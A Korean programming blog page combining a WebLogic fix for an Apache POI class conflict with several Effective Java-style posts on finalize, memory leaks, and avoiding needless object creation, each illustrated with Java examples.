회사 제품에 데이터를 엑셀로 다운받을 수 있는 기능이 있는데 톰캣이나 Jetty was를 사용하였을 때는 아무런 에러가 발생하지 않았지만, weblogic을 사용하는 사이트에서 아래와 같은 에러가 발생하였다.

 

java.lang.NoClassDefFoundError: Could not initialize class org.apache.poi.POIXMLTypeLoader

 

 

원인

제품에서 사용하는 POI 라이브러리와 Weblogic에서 자체적으로 지원하는 POI 라이브러리와 충돌해서 발생하는 에러이다.

 

 

해결

WEB-INF 아래에 weblogic.xml 파일 생성 후 아래와 같은 옵션 추가하여 어플리케이션 내에 라이브러리를 우선적으로 사용하도록 설정한다.

<container-descriptor>
	<prefer-web-inf-classes>true</prefer-web-inf-classes>
</container-descriptor>
반응형
반응형

자바의 최상위 클래스인 Object 클래스에는 finalize 메서드가 존재한다.

   /**
     * Called by the garbage collector on an object when garbage collection
     * determines that there are no more references to the object.
     * A subclass overrides the {@code finalize} method to dispose of
     * system resources or to perform other cleanup.
     * <p>
     * The general contract of {@code finalize} is that it is invoked
     * if and when the Java&trade; virtual
     * machine has determined that there is no longer any
     * means by which this object can be accessed by any thread that has
     * not yet died, except as a result of an action taken by the
     * finalization of some other object or class which is ready to be
     * finalized. The {@code finalize} method may take any action, including
     * making this object available again to other threads; the usual purpose
     * of {@code finalize}, however, is to perform cleanup actions before
     * the object is irrevocably discarded. For example, the finalize method
     * for an object that represents an input/output connection might perform
     * explicit I/O transactions to break the connection before the object is
     * permanently discarded.
     * <p>
     * The {@code finalize} method of class {@code Object} performs no
     * special action; it simply returns normally. Subclasses of
     * {@code Object} may override this definition.
     * <p>
     * The Java programming language does not guarantee which thread will
     * invoke the {@code finalize} method for any given object. It is
     * guaranteed, however, that the thread that invokes finalize will not
     * be holding any user-visible synchronization locks when finalize is
     * invoked. If an uncaught exception is thrown by the finalize method,
     * the exception is ignored and finalization of that object terminates.
     * <p>
     * After the {@code finalize} method has been invoked for an object, no
     * further action is taken until the Java virtual machine has again
     * determined that there is no longer any means by which this object can
     * be accessed by any thread that has not yet died, including possible
     * actions by other objects or classes which are ready to be finalized,
     * at which point the object may be discarded.
     * <p>
     * The {@code finalize} method is never invoked more than once by a Java
     * virtual machine for any given object.
     * <p>
     * Any exception thrown by the {@code finalize} method causes
     * the finalization of this object to be halted, but is otherwise
     * ignored.
     *
     * @throws Throwable the {@code Exception} raised by this method
     * @see java.lang.ref.WeakReference
     * @see java.lang.ref.PhantomReference
     * @jls 12.6 Finalization of Class Instances
     */
    protected void finalize() throws Throwable { }

 

특정 객체에 대한 참조가 더 이상 없다고 판단할 때 가비지 컬렉션이 객체의 finalize를 호출한다. 문서에서도 나와 있듯이 하위 클래스에서 시스템 리소스를 삭제하거나 다른 정리를 수행하기 위해 finalize 메서드를 오버 라이딩하여 작성할 수 있다.

	@Override
	protected void finalize() throws Throwable {
		// do something
		super.finalize();
	}

 

하지만 이펙티브 자바에서는 finalize 사용을 피하라고 권고한다.

finalize는 예측 불가능하며, 대체로 위험하고, 일반적으로 불필요하다.

 

finalize는 언제 수행되는지도 알 수 없으며 수행을 반드시 보장하지 않는다.

1. finalize 메서드는 호출되더라도 즉시 실행된다는 보장이 없으며, 언제 수행되는지도 알 수 없다.

 

finalize는 GC가 호출하게 되는데, GC는 JVM 구현마다 크게 다르기 때문에 finalize가 언제 수행되는지는 알 수 없다. 따라서 중요한 리소스의 해제를 finalize에서 하게 된다면 finalize가 언제 호출될지 모르기 때문에 애플리케이션 실행 중에 리소스 문제가 발생할 수 있으며, 발생하여도 재현하기가 쉽지 않아 디버깅하기 어렵다.

 

2. finalize 수행을 반드시 보장하지 않는다.

 

finalize가 호출되지 않은 상태로 애플리케이션이 종료될 수 있다. 그러므로 지속성이 보장되어야 하는 중요한 상태 정보를 finalize에 작성하면 안 된다. finalize를 반드시 수행하도록 하는 System.runFinalizersOnExit(), Runtime.runFinalizersOnExit() 메서드가 존재하지만, Deprecated 되었다.

     * @deprecated  This method is inherently unsafe.  It may result in
     *      finalizers being called on live objects while other threads are
     *      concurrently manipulating those objects, resulting in erratic
     *      behavior or deadlock.
     * @param value indicating enabling or disabling of finalization
     * @throws  SecurityException
     *        if a security manager exists and its <code>checkExit</code>
     *        method doesn't allow the exit.
     *
     * @see     java.lang.Runtime#exit(int)
     * @see     java.lang.Runtime#gc()
     * @see     java.lang.SecurityManager#checkExit(int)
     * @since   JDK1.1
     */
    @Deprecated
    public static void runFinalizersOnExit(boolean value) {
        Runtime.runFinalizersOnExit(value);
    }

 

 

finalize에서 발생하는 예외는 무시된다.

finalize 메서드 안에서 예외가 발생한다고 하더라도, 해당 예외는 무시되며 스택 트레이스도 표시되지 않는다. 또한 해당 finalize 메서드도 중단된다.

 

아래 예제를 보자.

public class ExceptionInFinalizeTest {

	public static void main(String[] args) throws Throwable {
		ExceptionInFinalizeTest exceptionInFinalizeTest = new ExceptionInFinalizeTest();
		exceptionInFinalizeTest = null;

		// System.gc does not guarantee finalize, but generally works fine.
		System.gc();
	}

	@Override
	protected void finalize() throws Throwable {
		System.out.println("The finalize method start");

		// Exceptions are ignored.
		System.out.println(2 / 0);

		super.finalize();

		System.out.println("The finalize method end"); // not printed
	}
}

 

ExceptionInFinalizeTest 객체를 생성하고, GC를 발생하도록 하기 위해 null로 하여 레퍼런스를 제거하였다. 이후 gc를 발생시켜 finalize()를 호출되게 하였다. finalize의 수행은 항상 보장하지는 않지만 테스트에서는 항상 호출되었다.

 

finalize에 예외를 발생시키도록 divde by zero를 수행하였지만, 어떠한 스택트레이스도 남지 않았으며 이후 코드도 수행되지 않고 종료된다.

 

 

finalize를 재정의할 경우 성능 저하가 발생한다.

finalize를 재정의 하는 것만으로도 성능 저하가 발생한다.

 

아래 에제를 보자.

public class FinalizePerformanceTest {

	/**
	 * TODO Implement performance test case for finalize
	 */
	public static void main(String[] args) {
		long start = System.nanoTime();
		for (int i = 0; i < 1000000; i++) {
			new FinalizePerformanceTest();
		}
		long end = System.nanoTime();
		System.out.println("time: " + (end - start));

	}

	@Override
	protected void finalize() throws Throwable {
		super.finalize();
	}

}

필자의 컴퓨터에서는 finalize를 재정의하여 테스트를 할 경우 위 결과는 152730300ns가 발생하였다. finalize 재정의를 하지 않을 경우 3501900ns 소요되었다. 약 43배 느리다.

 

finalize 사용방법 및 구현 방법

그럼 도대체 이렇게 단점이 많은 finalize는 어디에 사용할까?

 

1. 명시적 종료 메서드 패턴에서 호출되지 않을 것을 대비하기 위한 방어 역할

 

명시적 종료 메서드란 자원을 사용하고 나서 사용을 마쳤으면 메모리 해제를 명시적으로 하도록 만든 메서드를 의미한다. 대표적으로 FileInputStream, FileOutputSteam, Timer, Connection이 있다. 하지만 API 개발자는 항상 클라이언트가 API를 올바르게 사용하지 않을 수도 있다는 것을 고려해야 한다. 따라서 명시적으로 종료 메서드를 호출하지 않았을 경우를 대비하여 finalize 메서드에 메모리 해제를 하도록 작성한다.

 

아래는 java.io.FileInputStream 클래스의 코드이다.

public class FileInputStream extends InputStream
{
    ...

    /**
     * Ensures that the <code>close</code> method of this file input stream is
     * called when there are no more references to it.
     *
     * @exception  IOException  if an I/O error occurs.
     * @see        java.io.FileInputStream#close()
     */
    protected void finalize() throws IOException {
        if ((fd != null) &&  (fd != FileDescriptor.in)) {
            /* if fd is shared, the references in FileDescriptor
             * will ensure that finalizer is only called when
             * safe to do so. All references using the fd have
             * become unreachable. We can call close()
             */
            close();
        }
    }
}

 

2. 네이티브 피어(native peer) 리소스를 해제할 때

먼저 네이티브(native)란 자바 외의 C나 C++ 등 다른 언어로 작성된 프로그램을 나타낸다. 이런 프로그램을 자바에서 다루기 위해 만들어놓은 객체를 네이티브 피어라고 한다. 그리고 일반적인 클래스들이 이러한 네이티브 피어를 이용해 네이티브 프로그램을 사용한다.

 

이 네이티브 피어(객체)는 일반 객체가 아니기 때문에 GC가 관리하지 않는다. 그렇기 때문에 해당 네이티브 피어를 사용하는 일반적인 클래스의 finalize 메서드에서 해당 네이티브 객체의 리소스를 해제하는 코드를 작성할 수 있다.

 

 

finalize를 사용한다면 반드시 부모의 finalize를 호출해야 한다. 그렇지 않으면, 부모 클래스는 절대 종료되지 않는다.

	@Override
	protected void finalize() throws Throwable {
		try {
			// do something
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			super.finalize();
		}
	}

 

하지만 개발자는 항상 실수를 한다. 아래 예를 들어보자.

 

AClass는 finalize를 재정의하여 반드시 유한한 자원의 메모리를 해제해야 하는 클래스를 구현했다고 가정하자. AClass는 부모의 finalize를 반드시 호출해야 한다는 것을 알고 아래와 같이 구현하였다.

public class AClass {

	private void myClose() {
		System.out.println("Do Something");
	}

	@Override
	protected void finalize() throws Throwable {
		try {
			myClose();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			super.finalize();
		}
	}

}

 

BClass는 AClass를 상속받고 마찬가지로 finalize를 재정의했다. 하지만 BClass는 실수로 super.finliaze()를 호출하지 않았다. 그럼 AClass의 finalize는 호출되지 않아 myClose는 호출되지 않는다.

 

이렇게 하위 클래스에서 잘못 코딩하여 발생할 수 있는 finalize 문제를 부모 클래스에서 막을 수 있는데 이를 Finalizer Guardian 패턴이라고 한다.

 

이는 GC의 기본원리를 이용하여 finalize를 호출하는 방식이다. 먼저 코드는 아래와 같다.

public class AClass {

	private final Object guardian = new Object() {
		@Override
		protected void finalize() throws Throwable {
			myClose();
		}
	};

	private void myClose() {
		System.out.println("Do Something");
	}

}

 

기존에 finalize에서 호출되었던 myClose() 메서드가 guardian이라는 변수에 선언된 익명 클래스의 finalize에 선언되어 있다. 즉, AClass의 자원 해제 역할을 익명 클래스가 대신한다.

 

A 클래스를 재정의한 B 클래스의 객체가 더 이상 레퍼런스가 없어 gc가 발생하게 된다면, B 객체에 존재하는 guaridan에 참조되어 있는 익명 클래스의 객체도 누구도 사용할 수 없다. 그러므로 익명 클래스의 객체도 gc 대상이 되므로 해당 finalize가 반드시 호출된다. 따라서 멍청한 하위 클래스가 부모의 finalize를 호출하지 않아도 문제가 발생하지 않는다.

 

 

요약

자원 반환에 대한 최종적 방어 로직 또는 네이티브 자원을 종료시키려는 것이 아니라면 finalize를 사용하지 말자.

 

 

반응형
반응형

자바는 가비지 컬렉션이 알아서 메모리를 관리해주기 때문에 C와 같은 언어보다 메모리에 대해 생각하지 않고 일반적으로 코딩을 한다.

 

하지만 자바 애플리케이션을 만들어 실행하다 보면 OOM이 떨어지는 경우가 있다.

즉 어디선가 가비지 컬렉션이 청소할 수 없는 객체들이 쌓여서 메모리 누수 (leak)가 발생한 것이다.

 

아래 Stack을 구현한 pop 메서드 예제를 보자.

	/**
	 * This method only decreases the size of the stack.
	 * The object at the corresponding array index becomes an obsolete reference.
	 */
	public Object pop() {
		if (size == 0) {
			throw new EmptyStackException();
		}

		return elements[--size];
	}

 

Stack의 데이터를 꺼내오면서 Stack의 허용치를 1 증가시키기 위해 인덱스를 감소시켰다.

 

위 코드의 문제점은 무엇일까?

pop을 통해 꺼내온 객체는 아직까지도 Stack의 array가 참조하고 있다. 결국 해당 array 위치에 새로운 객체가 할당되지 않는다면 프로그램이 종료될 때까지 가비지 컬렉션은 해당 객체가 가비지인지 알 수 없다.

 

따라서 위 코드는 아래와 같이 명시적으로 null로 만들어 참조를 제거해야 한다.

	public Object popDoThis() {
		if (size == 0) {
			throw new EmptyStackException();
		}
		Object result = elements[--size];
		elements[size] = null; /* to let gc do its work */

		return result;
	}

 

Stack 예시처럼 자체적으로 관리하는 메모리가 있는 클래스를 만들 때는 메모리 누수가 발생하지 않도록 주의해야 한다.

 

java.util.WeakHashMap : key에 대한 메모리 참조가 없으면 자동으로 데이터를 삭제하는 Map

자바에서는 메모리 누수가 발생할 수 있는 자료구조에 대한 몇 가지 해결책을 제공한다. 첫 번째로 java.util.WeakHashMap이다.

 

WeakHashMap은 Map이므로 Key와 Value를 한쌍의 데이터로 관리한다. 이때 Key에 대한 참조가 더 이상 존재하지 않게 되면, Value를 가져올 수 있는 방법이 없다고 판단하여, 해당 Key-Value 쌍은 자동으로 삭제되는 Map이다.

 

아래 예제를 보자.

	/**
	 * We put object reference into a cache and forget that we put it there.
	 * To solve this problem we often implement caches using WeakHaspMap.
	 * A WeakHashMap will automatically remove value when its key is no longer referenced.
	 */
	public static void main(String[] args) {
		WeakHashMap<Integer, String> weakHashMap = new WeakHashMap<Integer, String>();

		Integer key = new Integer(1);
		weakHashMap.put(key, "1");
		key = null;

		// If GC is generated, the output changes to {}.
		while (true) {
			System.out.println(weakHashMap);
			System.gc();
			if (weakHashMap.size() == 0) {
				break;
			}
		}

		System.out.println("End");
	}

Key가 1의 값을 가진 Integer 객체이고, Value를 "1" 로하여 WeakHashMap에 put 하였다. 이후, Key값인 Integer의 참조를 null로 만들어 더 이상 참조가 일어나지 않도록 하였다. 이후 GC를 발생시키면 Key의 대한 참조가 없다고 판단하여, 쌍이 사라진 예제이다.

 

참고로, String 클래스를 Key로 하는 WeakHashMap을 사용하면 의미가 없다. 왜냐하면 규칙 5에서 설명했듯이 String은 내부적으로 한 번 생성된 String에 대해 Constant Pool에 항상 참조가 존재하기 때문이다.

 

java.util.LinkedHashMap : 가장 오래된 데이터를 처리할 수 있는 Map

java.util.LinkedHashMap은 HashMap가 다르게 데이터를 넣은 순서를 알 수 있다. 순서를 알 수 있으므로 LinkedHashMap은 아래와 같은 특별한 메서드를 제공한다.

 

    /**
     * Returns <tt>true</tt> if this map should remove its eldest entry.
     * This method is invoked by <tt>put</tt> and <tt>putAll</tt> after
     * inserting a new entry into the map.  It provides the implementor
     * with the opportunity to remove the eldest entry each time a new one
     * is added.  This is useful if the map represents a cache: it allows
     * the map to reduce memory consumption by deleting stale entries.
     *
	 * ....
     *
     * @param    eldest The least recently inserted entry in the map, or if
     *           this is an access-ordered map, the least recently accessed
     *           entry.  This is the entry that will be removed it this
     *           method returns <tt>true</tt>.  If the map was empty prior
     *           to the <tt>put</tt> or <tt>putAll</tt> invocation resulting
     *           in this invocation, this will be the entry that was just
     *           inserted; in other words, if the map contains a single
     *           entry, the eldest entry is also the newest.
     * @return   <tt>true</tt> if the eldest entry should be removed
     *           from the map; <tt>false</tt> if it should be retained.
     */
    protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
        return false;
    }

 

put() 또는 putAll() 메서드를 호출하고 나서 자동으로 호출되는 removeEldestEntry 메서드는 가장 오래된 데이터를 삭제할지를 검사하는 메서드이다.

 

true를 리턴하게 되면 가자 오래된 데이터를 삭제하고, false를 리턴하면 삭제하지 않는다. 디폴트로는 false를 리턴하도록 되어있어 항상 삭제하지 않는다.

 

아래는 Map의 크기가 5인 LinkedHashMap의 예제이다.

	public static void main(String[] args) {
		final int MAX_ENTRIES = 5;
		LinkedHashMap<String, String> linkedHashMap = new LinkedHashMap<String, String>() {
			@Override
			public boolean removeEldestEntry(Map.Entry eldest) {
				return size() > MAX_ENTRIES;
			}
		};

		linkedHashMap.put("1", "a");
		linkedHashMap.put("2", "b");
		linkedHashMap.put("3", "c");
		linkedHashMap.put("4", "d");
		linkedHashMap.put("5", "e");
		linkedHashMap.put("6", "f"); /* {1=a} disappear and this item will be added. */

		for (Iterator<String> hashitr = linkedHashMap.values().iterator(); hashitr.hasNext();) {
			System.out.print(hashitr.next() + " ");
		}
	}

 

반응형
반응형

자바에서는 new를 사용하여 새로운 객체를 생성한다.

동일한 클래스를 여러 개의 객체를 만들어 사용하는 경우가 많겠지만, 클래스의 용도, 특징에 따라 굳이 객체를 여러 개 만들 필요가 없는 클래스들이 있다.

 

가장 먼저 우리가 자주 사용하는 String이다.

 

String : new vs literal

String 클래스는 두 가지 생성 방식이 있다.

 

1. new

String str = new String("camel");

2. literal

String str = "camel";

 

이 두 가지 방식으로 생성된 String 객체는 기능상으로 다른 점이 있을까? 당연하게도 없다.

하지만 생성된 String 객체가 존재하는 JVM의 위치는 차이가 있다.

 

new를 사용하여 객체를 만들게 되면 어떤 클래스라도 Heap 영역에 객체가 할당된다. 하지만 literal를 사용할 경우 Heap 영역 안에 다른 영역인 String Constant Pool 영역에 String 객체가 할당된다.

 

따라서 아래와 같은 결과가 나타난다.

		String newStr1 = new String("camel");
		String literalStr1 = "camel";

		System.out.println(newStr1 == literalStr1); // false
		System.out.println(newStr1.equals(literalStr1)); // true

기능상으로는 동일하기 때문에 equals는 true를 반환하지만, 객체의 주소 값을 비교하는 ==은 false를 반환한다.

 

그럼 아래의 결과는 어떻게 나올까?

		String newStr1 = new String("camel");
		String newStr2 = new String("camel");

		String literalStr1 = "camel";
		String literalStr2 = "camel";

		System.out.println(newStr1 == newStr2); // false
		System.out.println(literalStr1 == literalStr2); // true

new를 사용하면 항상 객체를 생성하므로 newStr1과 newStr2는 서로 다른 객체이다. 따라서 false가 반환된다.

 

하지만 literal로 선언한 두 값의 비교는 true를 반환하였다. 이유는 무엇일까?

String을 literal로 선언하면 내부적으로 intern() 메서드를 호출하게 된다. intern() 메서드는 주어진 문자열이 String Constant Pool 영역에 존재하는지 먼저 확인하고, 존재한다면 해당 값을 반환하고 없다면 새롭게 생성하기 때문이다.

 

이처럼 String은 특별한 경우가 아니라면 new를 사용하여 객체를 생성하지 말자.

 

정적 팩토리 메서드를 제공하는 변경 불가능 클래스(Immutable Class)

잘 짜인 정적 팩토리 메서드(규칙 1)를 제공하는 변경 불가능 클래스는 정적 팩토리 메서드를 호출하면 이미 만들어진 객체를 반환한다.

// Boolean.java

    public static final Boolean TRUE = new Boolean(true);
    public static final Boolean FALSE = new Boolean(false);

    public static Boolean valueOf(boolean b){
        return b ? TRUE : FALSE;
    }

 

따라서 이런 클래스들은 문서를 잘 읽어보고, new를 사용하여 객체를 생성하지 않아도 되는지 확인하는 것이 좋다.

		Boolean newBool = new Boolean(true); // do not
		Boolean bool = Boolean.valueOf(true); // do it

 

변경 가능한 클래스라도 동일한 값을 가진 객체를 계속 사용할 경우

변경 불가능 클래스라면 동일한 값을 가진 객체를 생성할 필요 없이 재사용하면 된다. 하지만 변경 가능한 클래스라면 해당 객체를 다른 영역에서 변경할 수 있으므로, 필요할 때 객체를 자주 생성해서 사용한다.

 

하지만, 변경되지 않고 해당 영역에서만 사용하고 사라지는 변경 가능한 객체가 있을 수 있다.

아래 예를 보자.

 

	public boolean isBabyBoomer() {
		Calendar gmtCal = Calendar.getInstance(TimeZone.getTimeZone("GMT"));

		gmtCal.set(1946, Calendar.JANUARY, 1, 0, 0, 0);
		Date boomStart = gmtCal.getTime();

		gmtCal.set(1965, Calendar.JANUARY, 1, 0, 0, 0);
		Date boomEnd = gmtCal.getTime();

		return birthDate.compareTo(boomStart) >= 0 && birthDate.compareTo(boomEnd) < 0;
	}

위 코드는 1946년부터 1964년 사이에 태어난 사람인지 확인하는 메서드이다.

 

위 메서드는 어떠한 파라미터도 받지 않고, 항상 동일한 작업을 한다. 하지만 Date 클래스인 boomStart와 boomEnd에 Date 객체는 메서드가 호출될 때마다 새롭게 생성된다.

 

또한 Calendar 클래스는 객체를 생성하는데 비용이 꽤 소요되는 클래스인데, 마찬가지로 항상 새롭게 객체를 생성한다.

위 코드는 아래와 같이 변경하면 약 250배 개선된다.

	private static final Date BOOM_START;
	private static final Date BOOM_END;

	/**
	 * The static initializer block is called only once.
	 */
	static {
		Calendar gmtCal = Calendar.getInstance(TimeZone.getTimeZone("GMT"));

		gmtCal.set(1946, Calendar.JANUARY, 1, 0, 0, 0);
		BOOM_START = gmtCal.getTime();

		gmtCal.set(1965, Calendar.JANUARY, 1, 0, 0, 0);
		BOOM_END = gmtCal.getTime();
	}

	public boolean isBabyBoomerDoThis() {
		return birthDate.compareTo(BOOM_START) >= 0 && birthDate.compareTo(BOOM_END) < 0;
	}

 

API가 객체를 새롭게 생성하는지, 생성하지 않는지 잘 확인하자

위에서 String의 literal 방식, Boolean의 정적 팩토리 메서드 방식, Calendar의 getInstance(), getTime() 등의 예를 들었다. 이렇게 각각의 API들이 객체를 재사용하는지, 아니면 새롭게 만드는지 분명하지 않을 수 있다. 그렇기 때문에 API의 객체를 생성할 때는 항상 문서를 잘 읽고 개발자가 원하는 방식에 맞게 잘 사용해야 한다.

 

아래 예를 들어보자.

	public static void main(String[] args) {
		Map<String, String> map = new HashMap<String, String>();

		map.put("key1", "val1");
		Set<String> keyset1 = map.keySet();

		map.put("key2", "val2");
		Set<String> keyset2 = map.keySet();

		System.out.println(keyset1 == keyset2); // true

	}

Map의 keySet 메서드는 key값의 목록을 Set 클래스로 반환한다. 위처럼 keyset1을 구하고, 새로운 값을 넣은 후 keyset2를 구했을 때, 일반적으로 생각하기에는 두 값이 서로 다를 것으로 생각한다. 그러나 두 keySet의 값은 동일하다. 

 

그러므로 keySet을 여러 번 호출하여 변수를 여러 개 만들어도 큰일 날 것은 없지만, 쓸데없는 짓이다.

 

다음으로는 많이 알려진 AutoBoxing(자동 객체화)의 문제(?)이다.

AutoBoxing은 기본 자료형(Premitive Type)과 그에 대응하는 객체 클래스와 섞어 사용할 수 있도록 해주는 기능이다.

 

아래 예를 들어보자

	public static void main(String[] args) {
		long start = System.currentTimeMillis();

		Long sum = 0L;
		for (long i = 0; i < Integer.MAX_VALUE; i++) {
			sum += i;
		}
	}

Long 클래스인 sum에 기본 자료형인 i의 값을 더하고 있다. 이때 기본 자료형 i는 AutoBoxing이 되어 자동 객체화된다. 즉 loop를 돌 때마다 객체가 계속 생성된다. 그래서 위의 수행 결과는 글쓴이는 9.988초 소요되었다.

 

위와 같이 짠 개발자가 의도한 게 있는지는 모르겠지만(없을 것이다.) 루프는 기본자료형을 사용하고, 최종적인 결과에서만 Long으로 반환하는 것이 맞을 것이다.

	public static void main(String[] args) {
		long start = System.currentTimeMillis();

		long sum = 0L;
		for (long i = 0; i < Integer.MAX_VALUE; i++) {
			sum += i;
		}
	}

 

반응형

+ Recent posts